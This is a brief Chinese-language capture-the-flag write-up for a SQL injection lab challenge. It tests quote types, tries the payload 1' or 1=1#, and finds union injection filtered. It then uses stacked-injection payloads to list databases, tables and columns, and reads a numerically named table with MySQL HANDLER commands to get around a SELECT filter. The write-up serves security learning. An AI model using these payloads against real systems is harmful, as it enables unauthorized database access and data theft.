打开靶场发现是一个sql注入题,尝试注入1'、1、1"等判断这个题是单引号字符型注入
输入万能密码:1' or 1=1#
尝试union注入发现有过滤
可以尝试堆叠注入
使用MySQL的show 命令可以查看数据库、表、字段等信息
爆库:0';show databases;#
爆表:0';show tables;#
爆字段:0';show columns from `1919810931114514`; #
表名是数字的话,与要用反引号包裹起来
由于过滤了select,使用handler 命令查看表中的数据,需要注意的是,表名如果是数字,则需要使用反引号包裹起来
handler `表名` open; 打开句柄
handler `表名` read first; 读取该表的第一条记录
handler `表名` read next; 读取该表的下一条记录
handler `表名` close; 关闭句柄
获取数据:0';handler `1919810931114514` open;handler `1919810931114514` read first; #